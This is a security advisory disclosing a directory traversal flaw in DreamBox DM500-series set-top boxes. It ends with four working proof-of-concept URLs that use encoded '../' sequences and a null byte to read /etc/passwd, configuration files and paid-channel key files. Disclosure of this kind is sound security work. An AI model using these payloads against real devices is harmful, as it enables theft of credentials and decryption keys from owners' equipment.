DreamBox DM500(+) Arbitrary File Download Vulnerability

Vendor: Dream Multimedia GmbH
Product web page: http://www.dream-multimedia-tv.de
Affected version: DM500, DM500+, DM500HD and DM500S

Summary: The Dreambox is a series of Linux-powered
DVB satellite, terrestrial and cable digital television
receivers (set-top box).

Desc: Dreambox suffers from a file download vulnerability
thru directory traversal with appending the '/' character
in the HTTP GET method of the affected host address. The
attacker can get to sensitive information like paid channel
keys, usernames, passwords, config and plug-ins info, etc.

Tested on: Linux Kernel 2.6.9, The Gemini Project, Enigma

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2011-5013
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5013.php

22.12.2010

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http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd%00
http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../Autoupdate.key%00
http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../camd3.config%00
http://192.168.1.102/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../var/keys/camd3.keys%00